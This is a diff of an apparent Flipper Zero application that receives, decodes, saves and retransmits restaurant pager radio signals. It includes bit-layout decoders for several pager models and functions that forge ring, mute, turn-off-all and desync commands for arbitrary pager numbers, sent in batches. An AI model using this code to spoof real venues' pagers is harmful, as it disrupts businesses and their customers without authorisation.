ReceivedPagerData* Receive(SubGhzReceivedData* data) {
|
||||
PagerProtocol* protocol = GetProtocolByName(data->GetProtocolName());
|
||||
if(protocol == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int index = -1;
|
||||
uint32_t dataHash = data->GetHash();
|
||||
|
||||
for(size_t i = 0; i < nextPagerIndex; i++) {
|
||||
if(pagers[i].data == dataHash && pagers[i].protocol == protocol->id) {
|
||||
if(pagers[i].repeats < MAX_REPEATS) {
|
||||
pagers[i].repeats++;
|
||||
} else {
|
||||
return NULL; // no need to modify element any more
|
||||
}
|
||||
index = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
bool isNew = index < 0;
|
||||
if(isNew) {
|
||||
if(data->GetFrequency() != lastFrequency) {
|
||||
lastFrequencyIndex = FrequencyManager::GetInstance()->GetFrequencyIndex(data->GetFrequency());
|
||||
lastFrequency = data->GetFrequency();
|
||||
}
|
||||
|
||||
StoredPagerData storedData = StoredPagerData();
|
||||
storedData.data = dataHash;
|
||||
storedData.protocol = protocol->id;
|
||||
storedData.repeats = 1;
|
||||
storedData.te = data->GetTE();
|
||||
storedData.frequency = lastFrequencyIndex;
|
||||
storedData.decoder = getDecoder(&storedData)->id;
|
||||
storedData.edited = false;
|
||||
|
||||
if(config->SavedStrategy == HIDE && IsKnown(&storedData)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if(config->AutosaveFoundSignals) {
|
||||
AppFileSysytem().AutoSave(&storedData, decoders[storedData.decoder], protocol, lastFrequency);
|
||||
}
|
||||
|
||||
index = nextPagerIndex;
|
||||
addPager(storedData);
|
||||
}
|
||||
|
||||
return new ReceivedPagerData(PagerGetter(index), index, isNew);
|
||||
}
|
||||
|
||||
~PagerReceiver() {
|
||||
for(PagerProtocol* protocol : protocols) {
|
||||
delete protocol;
|
||||
}
|
||||
|
||||
for(PagerDecoder* decoder : decoders) {
|
||||
delete decoder;
|
||||
}
|
||||
|
||||
delete[] pagers;
|
||||
unloadKnownStations();
|
||||
}
|
||||
};
|
||||
100
applications/system/FZ-ChiefCooker/app/pager/PagerSerializer.hpp
Normal file
@@ -0,0 +1,100 @@
|
||||
#pragma once
|
||||
|
||||
#include "ProtocolAndDecoderProvider.hpp"
|
||||
#include "lib/String.hpp"
|
||||
#include "lib/file/FileManager.hpp"
|
||||
#include "lib/file/FlipperFile.hpp"
|
||||
|
||||
#include "data/StoredPagerData.hpp"
|
||||
#include "lib/hardware/subghz/FrequencyManager.hpp"
|
||||
#include "protocol/PagerProtocol.hpp"
|
||||
#include "decoder/PagerDecoder.hpp"
|
||||
|
||||
#define KEY_PAGER_STATION_NAME "StationName"
|
||||
#define KEY_PAGER_FREQUENCY "Frequency"
|
||||
#define KEY_PAGER_PROTOCOL "Protocol"
|
||||
#define KEY_PAGER_DECODER "Decoder"
|
||||
#define KEY_PAGER_DATA "Data"
|
||||
#define KEY_PAGER_TE "TE"
|
||||
|
||||
#define NAME_MIN_LENGTH 2
|
||||
#define NAME_MAX_LENGTH 20
|
||||
|
||||
class PagerSerializer {
|
||||
private:
|
||||
public:
|
||||
String* GetFilename(StoredPagerData* pager) {
|
||||
return new String("%06X.fff", pager->data);
|
||||
}
|
||||
|
||||
void SavePagerData(
|
||||
FileManager* fileManager,
|
||||
const char* dir,
|
||||
const char* stationName,
|
||||
StoredPagerData* pager,
|
||||
PagerDecoder* decoder,
|
||||
PagerProtocol* protocol,
|
||||
uint32_t frequency
|
||||
) {
|
||||
String* fileName = GetFilename(pager);
|
||||
FlipperFile* stationFile = fileManager->OpenWrite(dir, fileName->cstr());
|
||||
|
||||
stationFile->WriteString(KEY_PAGER_STATION_NAME, stationName);
|
||||
stationFile->WriteUInt32(KEY_PAGER_FREQUENCY, frequency);
|
||||
stationFile->WriteString(KEY_PAGER_PROTOCOL, protocol->GetSystemName());
|
||||
stationFile->WriteString(KEY_PAGER_DECODER, decoder->GetShortName());
|
||||
stationFile->WriteUInt32(KEY_PAGER_TE, pager->te);
|
||||
stationFile->WriteHex(KEY_PAGER_DATA, pager->data);
|
||||
|
||||
delete stationFile;
|
||||
delete fileName;
|
||||
}
|
||||
|
||||
String* LoadOnlyStationName(FileManager* fileManager, const char* dir, StoredPagerData* pager) {
|
||||
String* filename = GetFilename(pager);
|
||||
FlipperFile* stationFile = fileManager->OpenRead(dir, filename->cstr());
|
||||
delete filename;
|
||||
|
||||
String* stationName = NULL;
|
||||
if(stationFile != NULL) {
|
||||
stationName = new String();
|
||||
stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
|
||||
delete stationFile;
|
||||
}
|
||||
return stationName;
|
||||
}
|
||||
|
||||
StoredPagerData LoadPagerData(
|
||||
FileManager* fileManager,
|
||||
String* stationName,
|
||||
const char* dir,
|
||||
const char* fileName,
|
||||
ProtocolAndDecoderProvider* pdProvider
|
||||
) {
|
||||
FlipperFile* stationFile = fileManager->OpenRead(dir, fileName);
|
||||
|
||||
uint32_t te = 0;
|
||||
uint64_t hex = 0;
|
||||
uint32_t frequency = 0;
|
||||
String protocolName;
|
||||
String decoderName;
|
||||
|
||||
stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
|
||||
stationFile->ReadUInt32(KEY_PAGER_FREQUENCY, &frequency);
|
||||
stationFile->ReadString(KEY_PAGER_PROTOCOL, &protocolName);
|
||||
stationFile->ReadString(KEY_PAGER_DECODER, &decoderName);
|
||||
stationFile->ReadUInt32(KEY_PAGER_TE, &te);
|
||||
stationFile->ReadHex(KEY_PAGER_DATA, &hex);
|
||||
|
||||
delete stationFile;
|
||||
|
||||
StoredPagerData pager;
|
||||
pager.data = hex;
|
||||
pager.te = te;
|
||||
pager.edited = false;
|
||||
pager.frequency = FrequencyManager::GetInstance()->GetFrequencyIndex(frequency);
|
||||
pager.protocol = pdProvider->GetProtocolByName(protocolName.cstr())->id;
|
||||
pager.decoder = pdProvider->GetDecoderByName(decoderName.cstr())->id;
|
||||
return pager;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include "protocol/PagerProtocol.hpp"
|
||||
#include "decoder/PagerDecoder.hpp"
|
||||
|
||||
class ProtocolAndDecoderProvider {
|
||||
public:
|
||||
virtual PagerProtocol* GetProtocolByName(const char* name) = 0;
|
||||
virtual PagerDecoder* GetDecoderByName(const char* name) = 0;
|
||||
virtual ~ProtocolAndDecoderProvider() {
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
enum SavedStationStrategy {
|
||||
IGNORE, // don't check if station is saved, show as unknown
|
||||
SHOW_NAME, // show station name instead of hex and station number
|
||||
HIDE, // hide all station signals from the search
|
||||
|
||||
SavedStationStrategyValuesCount,
|
||||
};
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
#include "lib/String.hpp"
|
||||
#include <cstdint>
|
||||
|
||||
struct KnownStationData {
|
||||
uint8_t frequency : 8;
|
||||
uint8_t protocol : 2;
|
||||
uint8_t decoder : 4;
|
||||
uint8_t unused : 2; // align
|
||||
uint16_t station : 16;
|
||||
String* name;
|
||||
|
||||
public:
|
||||
uint32_t toInt();
|
||||
};
|
||||
|
||||
union KnownStationDataUnion {
|
||||
KnownStationData stationData;
|
||||
uint32_t intValue;
|
||||
};
|
||||
|
||||
uint32_t KnownStationData::toInt() {
|
||||
KnownStationDataUnion u;
|
||||
u.stationData = *this;
|
||||
u.stationData.unused = 0;
|
||||
return u.intValue;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
#include "StoredPagerData.hpp"
|
||||
#include "lib/String.hpp"
|
||||
|
||||
struct NamedPagerData {
|
||||
StoredPagerData storedData;
|
||||
String* name;
|
||||
};
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include "StoredPagerData.hpp"
|
||||
|
||||
class ReceivedPagerData {
|
||||
private:
|
||||
PagerDataGetter getStoredData;
|
||||
uint32_t index;
|
||||
bool isNew;
|
||||
|
||||
public:
|
||||
ReceivedPagerData(PagerDataGetter storedDataGetter, uint32_t index, bool isNew) {
|
||||
this->getStoredData = storedDataGetter;
|
||||
this->index = index;
|
||||
this->isNew = isNew;
|
||||
}
|
||||
|
||||
bool IsNew() {
|
||||
return isNew;
|
||||
}
|
||||
|
||||
uint32_t GetIndex() {
|
||||
return index;
|
||||
}
|
||||
|
||||
StoredPagerData* GetData() {
|
||||
return getStoredData();
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,33 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
|
||||
using namespace std;
|
||||
|
||||
struct StoredPagerData {
|
||||
// first 4-byte
|
||||
uint32_t data : 25;
|
||||
uint8_t repeats : 7;
|
||||
|
||||
// second 4-byte
|
||||
// byte 1
|
||||
uint8_t frequency : 8;
|
||||
|
||||
// byte 2
|
||||
uint8_t decoder : 4; // max 16 decoders, enough for now
|
||||
uint8_t protocol : 2; // max 4 protocols (only )
|
||||
bool edited : 1;
|
||||
uint8_t : 0;
|
||||
|
||||
// byte 3-4
|
||||
uint16_t te : 11; // 2048 values should be enough
|
||||
|
||||
// 5 bits still unused
|
||||
};
|
||||
|
||||
// StoredPagerData is short-living because it's stored as array of stack allocated objects in PagerReceiver class.
|
||||
// If array size changes, it reallocates all the objects on the new addresses in memory. We could store pointers in array instead of stack objects,
|
||||
// but it would take more memory which is not acceptable (sizeof(StoredPagerData) + sizeof(StoredPagerData*)) vs sizeof(StoredPagerData).
|
||||
// That's why we pass the getter instead of object itself, to make sure we always have the right pointer to the StoredPagerData structure.
|
||||
typedef function<StoredPagerData*()> PagerDataGetter;
|
||||
@@ -0,0 +1,81 @@
|
||||
#pragma once
|
||||
|
||||
#include "PagerDecoder.hpp"
|
||||
|
||||
#define T111_ACTION_RING 0
|
||||
|
||||
// Retekess T111 / L8R
|
||||
// L8R — (L)ast (8) bits (R)eversed order (for pager number)
|
||||
// seems to be Retekess T111 encoding, but cannot check it due to lack of information
|
||||
// So I decided to keep it's name as L8R
|
||||
class L8RDecoder : public PagerDecoder {
|
||||
private:
|
||||
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station (any maybe more)
|
||||
const uint32_t actionMask = 0b11100000000; // next 3 bits are action (possibly, just my guess, may be they are also station)
|
||||
const uint32_t pagerMask = 0b11111111; // and the last 8 bits seem to be pager number
|
||||
|
||||
const uint8_t stationBitCount = 13;
|
||||
const uint8_t stationOffset = 11;
|
||||
|
||||
const uint8_t actionBitCount = 3;
|
||||
const uint8_t actionOffset = 8;
|
||||
|
||||
const uint8_t pagerBitCount = 8;
|
||||
|
||||
public:
|
||||
const char* GetShortName() {
|
||||
return "L8R";
|
||||
}
|
||||
|
||||
uint16_t GetStation(uint32_t data) {
|
||||
uint32_t stationReversed = (data & stationMask) >> stationOffset;
|
||||
return reverseBits(stationReversed, stationBitCount);
|
||||
}
|
||||
|
||||
uint16_t GetPager(uint32_t data) {
|
||||
uint32_t pagerReversed = data & pagerMask;
|
||||
return reverseBits(pagerReversed, pagerBitCount);
|
||||
}
|
||||
|
||||
uint8_t GetActionValue(uint32_t data) {
|
||||
uint32_t actionReversed = (data & actionMask) >> actionOffset;
|
||||
return reverseBits(actionReversed, actionBitCount);
|
||||
}
|
||||
|
||||
PagerAction GetAction(uint32_t data) {
|
||||
switch(GetActionValue(data)) {
|
||||
case T111_ACTION_RING:
|
||||
return RING;
|
||||
|
||||
default:
|
||||
return UNKNOWN;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
|
||||
return (data & ~pagerMask) | reverseBits(pagerNum, pagerBitCount);
|
||||
}
|
||||
|
||||
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
|
||||
uint32_t actionCleared = data & ~actionMask;
|
||||
return actionCleared | (reverseBits(actionValue, actionBitCount) << actionOffset);
|
||||
}
|
||||
|
||||
uint32_t SetAction(uint32_t data, PagerAction action) {
|
||||
switch(action) {
|
||||
case RING:
|
||||
return SetActionValue(data, T111_ACTION_RING);
|
||||
|
||||
default:
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
bool IsSupported(PagerAction) {
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t GetActionsCount() {
|
||||
return 8;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,61 @@
|
||||
#pragma once
|
||||
|
||||
#include "core/core_defines.h"
|
||||
|
||||
#include "PagerDecoder.hpp"
|
||||
|
||||
// iBells ZJ-68 / L8S
|
||||
// L8S — (L)ast (8) bits (S)traight order (non-reversed) (for pager number)
|
||||
class L8SDecoder : public PagerDecoder {
|
||||
private:
|
||||
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station (let it be)
|
||||
const uint32_t actionMask = 0b11100000000; // next 3 bits are action (possibly, just my guess, may be they are also station)
|
||||
const uint32_t pagerMask = 0b11111111; // and the last 8 bits should be enough for pager number
|
||||
|
||||
const uint8_t stationOffset = 11;
|
||||
const uint8_t actionOffset = 8;
|
||||
|
||||
public:
|
||||
const char* GetShortName() {
|
||||
return "L8S";
|
||||
}
|
||||
|
||||
uint16_t GetStation(uint32_t data) {
|
||||
return (data & stationMask) >> stationOffset;
|
||||
}
|
||||
|
||||
uint16_t GetPager(uint32_t data) {
|
||||
return data & pagerMask;
|
||||
}
|
||||
|
||||
uint8_t GetActionValue(uint32_t data) {
|
||||
return (data & actionMask) >> actionOffset;
|
||||
}
|
||||
|
||||
PagerAction GetAction(uint32_t data) {
|
||||
UNUSED(data);
|
||||
return UNKNOWN;
|
||||
}
|
||||
|
||||
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
|
||||
return (data & ~pagerMask) | pagerNum;
|
||||
}
|
||||
|
||||
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
|
||||
uint32_t actionCleared = data & ~actionMask;
|
||||
return actionCleared | (actionValue << actionOffset);
|
||||
}
|
||||
|
||||
uint32_t SetAction(uint32_t data, PagerAction action) {
|
||||
UNUSED(action);
|
||||
return data;
|
||||
}
|
||||
|
||||
bool IsSupported(PagerAction) {
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t GetActionsCount() {
|
||||
return 8;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,52 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include "../PagerAction.hpp"
|
||||
|
||||
using namespace std;
|
||||
|
||||
class PagerDecoder {
|
||||
public:
|
||||
uint8_t id;
|
||||
virtual const char* GetShortName() = 0;
|
||||
|
||||
virtual uint16_t GetStation(uint32_t data) = 0;
|
||||
|
||||
virtual uint16_t GetPager(uint32_t data) = 0;
|
||||
virtual uint32_t SetPager(uint32_t data, uint16_t pagerNum) = 0;
|
||||
|
||||
virtual uint8_t GetActionValue(uint32_t data) = 0;
|
||||
virtual PagerAction GetAction(uint32_t data) = 0;
|
||||
virtual uint32_t SetAction(uint32_t data, PagerAction action) = 0;
|
||||
virtual uint32_t SetActionValue(uint32_t data, uint8_t action) = 0;
|
||||
virtual bool IsSupported(PagerAction action) = 0;
|
||||
virtual uint8_t GetActionsCount() = 0;
|
||||
|
||||
uint8_t GetSupportedActionsCount() {
|
||||
uint8_t count = 0;
|
||||
for(uint8_t i = 0; i < PagerActionCount; i++) {
|
||||
if(IsSupported(static_cast<enum PagerAction>(i))) {
|
||||
count++;
|
||||
}
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
virtual ~PagerDecoder() {
|
||||
}
|
||||
|
||||
protected:
|
||||
uint32_t reverseBits(uint32_t number, int count) {
|
||||
uint32_t rev = 0;
|
||||
|
||||
while(count-- > 0) {
|
||||
rev <<= 1;
|
||||
if((number & 1) == 1) {
|
||||
rev ^= 1;
|
||||
}
|
||||
number >>= 1;
|
||||
}
|
||||
|
||||
return rev;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,87 @@
|
||||
#pragma once
|
||||
|
||||
#include "PagerDecoder.hpp"
|
||||
|
||||
#define TD157_ACTION_RING 0b0010
|
||||
#define TD157_ACTION_TURN_OFF_ALL 0b1111
|
||||
#define TD157_PAGER_TURN_OFF_ALL 999
|
||||
|
||||
// Retekess TD157
|
||||
class Td157Decoder : public PagerDecoder {
|
||||
private:
|
||||
const uint32_t stationMask = 0b111111111100000000000000; // leading 10 bits (of 24) are station
|
||||
const uint32_t pagerMask = 0b11111111110000; // next 10 bits are pager
|
||||
const uint32_t actionMask = 0b1111; // and the last 4 bits is action
|
||||
|
||||
const uint8_t stationOffset = 14;
|
||||
const uint8_t pagerOffset = 4;
|
||||
|
||||
public:
|
||||
const char* GetShortName() {
|
||||
return "TD157";
|
||||
}
|
||||
|
||||
uint16_t GetStation(uint32_t data) {
|
||||
uint32_t station = (data & stationMask) >> stationOffset;
|
||||
return (uint16_t)station;
|
||||
}
|
||||
|
||||
uint16_t GetPager(uint32_t data) {
|
||||
uint32_t pager = (data & pagerMask) >> pagerOffset;
|
||||
return (uint16_t)pager;
|
||||
}
|
||||
|
||||
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
|
||||
uint32_t pagerClearedData = data & ~pagerMask;
|
||||
return pagerClearedData | (pagerNum << pagerOffset);
|
||||
}
|
||||
|
||||
uint8_t GetActionValue(uint32_t data) {
|
||||
return data & actionMask;
|
||||
}
|
||||
|
||||
PagerAction GetAction(uint32_t data) {
|
||||
switch(GetActionValue(data)) {
|
||||
case TD157_ACTION_RING:
|
||||
return RING;
|
||||
case TD157_ACTION_TURN_OFF_ALL:
|
||||
if(GetPager(data) == TD157_PAGER_TURN_OFF_ALL) {
|
||||
return TURN_OFF_ALL;
|
||||
}
|
||||
return UNKNOWN;
|
||||
default:
|
||||
return UNKNOWN;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t SetAction(uint32_t data, PagerAction action) {
|
||||
switch(action) {
|
||||
case RING:
|
||||
return SetActionValue(data, TD157_ACTION_RING);
|
||||
case TURN_OFF_ALL:
|
||||
return SetActionValue(SetPager(data, TD157_PAGER_TURN_OFF_ALL), TD157_ACTION_TURN_OFF_ALL);
|
||||
default:
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
virtual uint32_t SetActionValue(uint32_t data, uint8_t action) {
|
||||
return (data & ~actionMask) | action;
|
||||
}
|
||||
|
||||
bool IsSupported(PagerAction action) {
|
||||
switch(action) {
|
||||
case RING:
|
||||
case TURN_OFF_ALL:
|
||||
return true;
|
||||
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t GetActionsCount() {
|
||||
return actionMask + 1;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,98 @@
|
||||
#pragma once
|
||||
|
||||
#include "PagerDecoder.hpp"
|
||||
|
||||
#define TD165_ACTION_RING 0
|
||||
#define TD165_ACTION_MUTE 1
|
||||
#define TD165_PAGER_TURN_OFF_ALL 1005
|
||||
|
||||
// Retekess TD165/T119
|
||||
class Td165Decoder : public PagerDecoder {
|
||||
private:
|
||||
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station
|
||||
const uint32_t pagerMask = 0b11111111110; // next 10 bits are pager
|
||||
const uint32_t actionMask = 0b1; // and the last 1 bit is action
|
||||
|
||||
const uint8_t stationBitCount = 13;
|
||||
const uint8_t stationOffset = 11;
|
||||
|
||||
const uint8_t pagerBitCount = 10;
|
||||
const uint8_t pagerOffset = 1;
|
||||
|
||||
public:
|
||||
const char* GetShortName() {
|
||||
return "TD165";
|
||||
}
|
||||
|
||||
uint16_t GetStation(uint32_t data) {
|
||||
uint32_t stationReversed = (data & stationMask) >> stationOffset;
|
||||
return reverseBits(stationReversed, stationBitCount);
|
||||
}
|
||||
|
||||
uint16_t GetPager(uint32_t data) {
|
||||
uint32_t pagerReversed = (data & pagerMask) >> pagerOffset;
|
||||
return reverseBits(pagerReversed, pagerBitCount);
|
||||
}
|
||||
|
||||
uint8_t GetActionValue(uint32_t data) {
|
||||
return data & actionMask;
|
||||
}
|
||||
|
||||
PagerAction GetAction(uint32_t data) {
|
||||
switch(GetActionValue(data)) {
|
||||
case TD165_ACTION_RING:
|
||||
if(GetPager(data) == TD165_PAGER_TURN_OFF_ALL) {
|
||||
return TURN_OFF_ALL;
|
||||
}
|
||||
return RING;
|
||||
|
||||
case TD165_ACTION_MUTE:
|
||||
return MUTE;
|
||||
|
||||
default:
|
||||
return UNKNOWN;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
|
||||
uint32_t pagerCleared = data & ~pagerMask;
|
||||
return pagerCleared | (reverseBits(pagerNum, pagerBitCount) << pagerOffset);
|
||||
}
|
||||
|
||||
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
|
||||
return (data & ~actionMask) | actionValue;
|
||||
}
|
||||
|
||||
uint32_t SetAction(uint32_t data, PagerAction action) {
|
||||
switch(action) {
|
||||
case RING:
|
||||
return SetActionValue(data, TD165_ACTION_RING);
|
||||
|
||||
case MUTE:
|
||||
return SetActionValue(data, TD165_ACTION_MUTE);
|
||||
|
||||
case TURN_OFF_ALL:
|
||||
return SetActionValue(SetPager(data, TD165_PAGER_TURN_OFF_ALL), TD165_ACTION_RING);
|
||||
|
||||
default:
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
bool IsSupported(PagerAction action) {
|
||||
switch(action) {
|
||||
case RING:
|
||||
case MUTE:
|
||||
case TURN_OFF_ALL:
|
||||
return true;
|
||||
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t GetActionsCount() {
|
||||
return actionMask + 1;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,97 @@
|
||||
#pragma once
|
||||
|
||||
#include "PagerDecoder.hpp"
|
||||
|
||||
#define TD174_ACTION_RING 0
|
||||
#define TD174_ACTION_DESYNC 3
|
||||
#define TD174_PAGER_DESYNC 237
|
||||
|
||||
// Retekess TD174
|
||||
class Td174Decoder : public PagerDecoder {
|
||||
private:
|
||||
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station
|
||||
const uint32_t actionMask = 0b11000000000; // next 2 bits are action
|
||||
const uint32_t pagerMask = 0b111111111; // and the last 9 bits is pager
|
||||
|
||||
const uint8_t stationBitCount = 13;
|
||||
const uint8_t stationOffset = 11;
|
||||
|
||||
const uint8_t actionBitCount = 2;
|
||||
const uint8_t actionOffset = 9;
|
||||
|
||||
const uint8_t pagerBitCount = 9;
|
||||
|
||||
public:
|
||||
const char* GetShortName() {
|
||||
return "TD174";
|
||||
}
|
||||
|
||||
uint16_t GetStation(uint32_t data) {
|
||||
uint32_t stationReversed = (data & stationMask) >> stationOffset;
|
||||
return reverseBits(stationReversed, stationBitCount);
|
||||
}
|
||||
|
||||
uint16_t GetPager(uint32_t data) {
|
||||
uint32_t pagerReversed = data & pagerMask;
|
||||
return reverseBits(pagerReversed, pagerBitCount);
|
||||
}
|
||||
|
||||
uint8_t GetActionValue(uint32_t data) {
|
||||
uint32_t actionReversed = (data & actionMask) >> actionOffset;
|
||||
return reverseBits(actionReversed, actionBitCount);
|
||||
}
|
||||
|
||||
PagerAction GetAction(uint32_t data) {
|
||||
switch(GetActionValue(data)) {
|
||||
case TD174_ACTION_RING:
|
||||
return RING;
|
||||
|
||||
case TD174_ACTION_DESYNC:
|
||||
if(GetPager(data) == TD174_PAGER_DESYNC) {
|
||||
return DESYNC;
|
||||
}
|
||||
return UNKNOWN;
|
||||
|
||||
default:
|
||||
return UNKNOWN;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
|
||||
return (data & ~pagerMask) | reverseBits(pagerNum, pagerBitCount);
|
||||
}
|
||||
|
||||
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
|
||||
uint32_t actionCleared = data & ~actionMask;
|
||||
return actionCleared | (reverseBits(actionValue, actionBitCount) << actionOffset);
|
||||
}
|
||||
|
||||
uint32_t SetAction(uint32_t data, PagerAction action) {
|
||||
switch(action) {
|
||||
case RING:
|
||||
return SetActionValue(data, TD174_ACTION_RING);
|
||||
|
||||
case DESYNC:
|
||||
return SetActionValue(SetPager(data, TD174_PAGER_DESYNC), TD174_ACTION_DESYNC);
|
||||
|
||||
default:
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
bool IsSupported(PagerAction action) {
|
||||
switch(action) {
|
||||
case RING:
|
||||
case DESYNC:
|
||||
return true;
|
||||
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t GetActionsCount() {
|
||||
return 4;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
|
||||
#include "lib/hardware/subghz/SubGhzPayload.hpp"
|
||||
|
||||
class PagerProtocol {
|
||||
public:
|
||||
uint8_t id;
|
||||
virtual const char* GetSystemName() = 0;
|
||||
virtual int GetFallbackTE() = 0;
|
||||
virtual int GetMaxTE() = 0;
|
||||
virtual SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) = 0;
|
||||
virtual ~PagerProtocol() {
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
|
||||
#include <stream/stream.h>
|
||||
|
||||
#include "PagerProtocol.hpp"
|
||||
|
||||
class PrincetonProtocol : public PagerProtocol {
|
||||
public:
|
||||
const char* GetSystemName() {
|
||||
return "Princeton";
|
||||
}
|
||||
|
||||
int GetFallbackTE() {
|
||||
return 212;
|
||||
}
|
||||
|
||||
int GetMaxTE() {
|
||||
return 1200;
|
||||
}
|
||||
|
||||
SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) {
|
||||
SubGhzPayload* payload = new SubGhzPayload(GetSystemName());
|
||||
payload->SetBits(24);
|
||||
payload->SetKey(data);
|
||||
payload->SetTE(te);
|
||||
// somewhy repeats are always 10 even if we set it, so use here "software repeats" instead
|
||||
payload->SetSoftwareRepeats(ceil(repeats / 10.0));
|
||||
payload->SetRepeat(10); // just in case they'll fix it
|
||||
|
||||
return payload;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
#include "PagerProtocol.hpp"
|
||||
|
||||
class Smc5326Protocol : public PagerProtocol {
|
||||
const char* GetSystemName() {
|
||||
return "SMC5326";
|
||||
}
|
||||
|
||||
int GetFallbackTE() {
|
||||
return 326;
|
||||
}
|
||||
|
||||
int GetMaxTE() {
|
||||
return 900;
|
||||
}
|
||||
|
||||
SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) {
|
||||
SubGhzPayload* payload = new SubGhzPayload(GetSystemName());
|
||||
payload->SetBits(25);
|
||||
payload->SetKey(data);
|
||||
payload->SetTE(te);
|
||||
payload->SetRepeat(repeats);
|
||||
return payload;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,33 @@
|
||||
#pragma once
|
||||
|
||||
#include "lib/String.hpp"
|
||||
#include "lib/ui/view/UiView.hpp"
|
||||
#include "lib/ui/view/ProgressbarPopupUiView.hpp"
|
||||
|
||||
class BatchTransmissionScreen {
|
||||
private:
|
||||
ProgressbarPopupUiView* popup;
|
||||
String statusStr;
|
||||
|
||||
public:
|
||||
BatchTransmissionScreen(int pagersTotal) {
|
||||
popup = new ProgressbarPopupUiView("Transmitting...");
|
||||
SetProgress(0, pagersTotal);
|
||||
popup->SetOnDestroyHandler(HANDLER(&BatchTransmissionScreen::destroy));
|
||||
}
|
||||
|
||||
void SetProgress(int pagerNum, int pagersTotal) {
|
||||
float progressValue = (float)pagerNum / pagersTotal;
|
||||
popup->SetProgress(statusStr.format("Pager %d / %d", pagerNum, pagersTotal), progressValue);
|
||||
}
|
||||
|
||||
private:
|
||||
void destroy() {
|
||||
delete this;
|
||||
}
|
||||
|
||||
public:
|
||||
UiView* GetView() {
|
||||
return popup;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,313 @@
|
||||
#pragma once
|
||||
|
||||
#include "SelectCategoryScreen.hpp"
|
||||
#include "lib/HandlerContext.hpp"
|
||||
#include "lib/String.hpp"
|
||||
#include "app/pager/PagerReceiver.hpp"
|
||||
#include "lib/hardware/subghz/SubGhzModule.hpp"
|
||||
#include "lib/ui/view/UiView.hpp"
|
||||
#include "lib/ui/view/VariableItemListUiView.hpp"
|
||||
#include "lib/ui/view/TextInputUiView.hpp"
|
||||
#include "lib/ui/view/DialogUiView.hpp"
|
||||
#include "lib/FlipperDolphin.hpp"
|
||||
#include "lib/ui/UiManager.hpp"
|
||||
#include "app/AppFileSystem.hpp"
|
||||
#include "app/pager/PagerSerializer.hpp"
|
||||
|
||||
#define TE_DIV 10
|
||||
|
||||
class EditPagerScreen {
|
||||
private:
|
||||
AppConfig* config;
|
||||
SubGhzModule* subghz;
|
||||
PagerReceiver* receiver;
|
||||
PagerDataGetter getPager;
|
||||
VariableItemListUiView* varItemList;
|
||||
|
||||
UiVariableItem* encodingItem = NULL;
|
||||
UiVariableItem* stationItem = NULL;
|
||||
UiVariableItem* pagerItem = NULL;
|
||||
UiVariableItem* actionItem = NULL;
|
||||
UiVariableItem* hexItem = NULL;
|
||||
UiVariableItem* protocolItem = NULL;
|
||||
UiVariableItem* frequencyItem = NULL;
|
||||
UiVariableItem* teItem = NULL;
|
||||
UiVariableItem* repeatsItem = NULL;
|
||||
|
||||
